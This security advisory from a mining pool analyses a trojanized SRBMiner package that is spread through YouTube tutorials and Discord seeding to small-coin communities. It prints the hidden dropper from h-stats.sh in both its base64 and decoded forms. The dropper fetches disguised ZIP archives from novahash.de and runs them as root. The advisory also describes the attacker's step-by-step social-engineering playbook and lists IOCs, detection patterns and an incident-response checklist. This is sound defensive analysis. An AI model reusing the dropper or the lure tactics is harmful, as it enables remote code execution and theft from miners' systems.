Trojanized SRBMiner 3.2.5 Package in the Wild
What miners need to know, in the order they’ll want to know it

IOCs — for the people who just want to grep

Everything a defender needs in one block. Fuller detail is further down, but if you’re here to check your fleet, start here.

The filesystem artefacts are cleaned up by the dropper after each run, so their absence does not mean you’re clean — only their presence is conclusive. Judge by logs, by the contents of h-stats.sh on disk, and by outbound traffic to novahash.de.

Distribution vector

The package is currently being offered as an SRBMiner-Multi download from miningrepositories.blog, a domain chosen to sound generic and trustworthy to an operator searching for miner binaries. It is not a known or legitimate distribution channel for SRBMiner or, as best we can tell, anything else.

Delivery: YouTube tutorials and Discord seeding (observed)

The trojanized tarball isn’t sitting on a random domain waiting for someone to stumble onto it. It was actively promoted through channels miners trust:

What this tells us about the attacker’s playbook

This is social engineering, not a drive-by download. Each step of the attacker’s process is deliberately chosen to lower the target’s guard:

1. Pick small coins with active Discord communities and a steady trickle of newcomers. C64Chain and QTC are exactly the sort of coin where a new miner lands in the Discord, asks how to get started, and gratefully accepts the first link someone helpful hands them. Bigger coins attract more scrutiny; smaller ones attract more trust.
2. Produce a working tutorial. The YouTube video demonstrates a rig that actually mines, because the miner binary in the tarball is a real working miner (cover). Visual proof is persuasive — a video showing accepted shares rolling in is worth a thousand “trust me”s.
3. Accumulate reputation first, weaponise second. Once the video exists and a few comments say “this worked, thanks!”, the link becomes self-reinforcing — every new viewer sees social proof before they see a reason to be suspicious.
4. Seed into new-miner channels. Drop the tarball link into Discord channels where newcomers ask for setup help. The payload runs on first stats poll; the attacker doesn’t need the victim to do anything beyond “follow the tutorial.”
5. Count on community moderators not auditing tarballs. Almost no coin Discord has the resources to reverse-engineer every “helpful” tarball posted to its mining channel. A friendly-looking user with a YouTube channel looks like a community member, not a threat.

If you are part of the C64Chain or Qubit (QTC) community and set up a rig from the Argenminers tutorial, or linked a friend to it — please share this advisory with that community, and treat any rig built from that guide as compromised.

What’s in the tarball

The archive is a full Hive OS custom-miner integration, with a Minerstat integration (mmp-*) shoved in alongside for good measure. Authentic distributions ship one or the other — not both — so the bundling itself is a giveaway.

Telltale signs of repackaging

None of the following are malicious in themselves — they’re the kind of diagnostic detail that tells you the package isn’t from where it claims:

• Spanish-language comments in h-run.sh and h-manifest.conf — e.g. “Verificar si ya está corriendo”, “Cargar manifest”, “Ejecutar el binario con parámetros”, “Nombre del miner”, “Ruta al archivo de configuración”. Legitimate upstream SRBMiner integrations are in English.
• Internal version mismatch. h-manifest.conf declares CUSTOM_VERSION=3.2.5; mmp-external.conf declares EXTERNAL_VERSION="2.6.8-custom". Authentic packages are internally consistent. This one couldn’t quite get its story straight.
• Hive and Minerstat integrations bundled together. Upstream ships one or the other, not both.
• Unstripped binary. Upstream release binaries are stripped to reduce size and frustrate analysis. This one isn’t — strong indication the attacker built from source rather than repackaging the official release.

The payload: h-stats.sh

Most of h-stats.sh is, annoyingly, a perfectly functional Hive OS stats parser. It queries the miner’s HTTP API on 127.0.0.1:$MINER_API_PORT, parses hashrate, shares, temperatures, and fan speeds for GPU and CPU workers, handles single- and dual-algorithm mining, and emits valid stats JSON back to the Hive agent. This is not incidental — it’s essential cover. If the script were broken, Hive would show the rig as offline and the operator would investigate within minutes.

Appended after the legitimate stats logic, and before the final fallback assignments, is this block:

p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &

Decoded, the base64 payload is:

nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
  && sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
  && sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
  && unzip -q -o /etc/mqtato-fla.zip -d /etc \
  && bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &

Execution behaviour, step by step

1. Two “image” files (.png and .jpg) are fetched via wget from novahash.de. The image extensions are camouflage: the actual content is ZIP archives. This is a familiar trick for slipping past naive egress filters that inspect script and archive traffic but wave images through.
2. Each archive is written to /etc/, renamed to .zip, and extracted in place with unzip -o (overwrite).
3. Each archive contains a shell script (recuaikaan.sh, mqtato-fla.sh) which is then executed — the first explicitly with sudo, the second relying on the already-root context in which the Hive agent runs.
4. All four artefacts (both .zips and both .shs) are then deleted from /etc/. This sanitises the dropper’s footprint: a forensic look at /etc/ afterwards finds nothing, while whatever the stage-2 scripts installed elsewhere remains resident.
5. The whole chain runs in the background via nohup … &, so the legitimate stats output upstream is neither blocked nor delayed. Hive continues to see a healthy rig.

Why h-stats.sh is the perfect injection site

The cover miner: srbminer_bin

The binary included in the package looks like a legitimate or near-legitimate SRBMiner-Multi build. Its job, from the attacker’s point of view, is to be uneventful:

• File: ELF 64-bit LSB shared object, x86-64, dynamically linked.
• Size: 20,309,184 bytes (~20 MB).
• SHA256: 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• BuildID: fc2487ec223c91039748e53c08328af91260cd8c
• Stripped: No (atypical for an upstream release — those are stripped).
• Embedded build paths: reference /home/doktor/VSCode/SRBMiner-Multi/Libs/{clew,libmicrohttpd,libressl,hwloc}/linux, which are the real SRBMiner author’s (doktor83) environment paths. Consistent with a build from genuine or slightly modified source.
• Embedded URLs: none found. No references to novahash.de or the dropper filenames.

The attacker’s plan depends on the miner producing plausible hashrate and share output so that Hive and Minerstat dashboards look normal and the operator has no reason to investigate. All observed malicious functionality is in h-stats.sh; the binary is not the attack vector.

Full Indicators of Compromise

Network

• Domain: novahash.de — block at firewall and DNS
• https://novahash.de/fileslab/recuaikaan.png
• https://novahash.de/fileslab/mqtato-fla.jpg
• Distribution domain: miningrepositories.blog

Filesystem (dropper artefacts)

Deleted by the dropper after execution — absence is not exonerating:

/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh

File hashes

• srbminer_bin SHA256: 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• srbminer_bin BuildID: fc2487ec223c91039748e53c08328af91260cd8c

Process and behavioural signatures

• wget calls to novahash.de from the Hive user account or root
• nohup sh -c invocations spawned from h-stats.sh
• sudo bash /etc/*.sh entries in sudo logs (if auditing is enabled)
• Unusual .zip, .png, or .jpg files appearing in /etc/ at any point

Package-level red flags (useful for finding other trojanised packages)

• Spanish-language comments in Hive or Minerstat integration scripts that upstream ships in English
• Internal version mismatches between manifest files
• Unstripped release binaries
• Hive and Minerstat integrations bundled in a single package
• Long base64 strings in any h-*.sh or mmp-*.sh script
• base64 -d | sh, base64 -d | bash, xxd -r -p | sh, or similar decode-and-execute pipelines anywhere in stats or run scripts

Incident Response Checklist

If you installed this package on any rig or server, work through these in order. Be slightly grumpy about it. That’s the correct emotional posture.

ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null

cat /etc/ld.so.preload   # should be empty or not exist

find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
     -mtime -30 -type f -ls 2>/dev/null

crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all

find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config

ss -tnp | grep -E '(srbminer|sh|wget|curl)'

chkrootkit
rkhunter --check --skip-keypress

grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null

Hardening: how not to end up here

A few habits that would have prevented this outright. None of them are novel; all of them are boring; boring is the vibe we’re going for.

A note from Suprnova

Pool operators and their miners are a target-rich population for this sort of attack. A trojanized miner on a rig doesn’t just compromise that rig — it can redirect hashrate away from the pool it’s notionally mining on, lift pool credentials out of config files, and serve as a pivot into your broader infrastructure. Our users are, on average, more technical, more valuable, and more specifically targeted than the general population of “people who download things”, and that attention is not, on balance, a compliment.

If you come across a suspicious miner download, an unusual tarball, or a Discord or Telegram DM pushing “custom” or “patched” miner binaries — please forward it to admin@suprnova.cc or drop it in our Discord. We’ll take a look, update this advisory as needed, and warn the rest of the community. Belt, braces, and a bit of shared paranoia — the three pillars of a happy mining rig.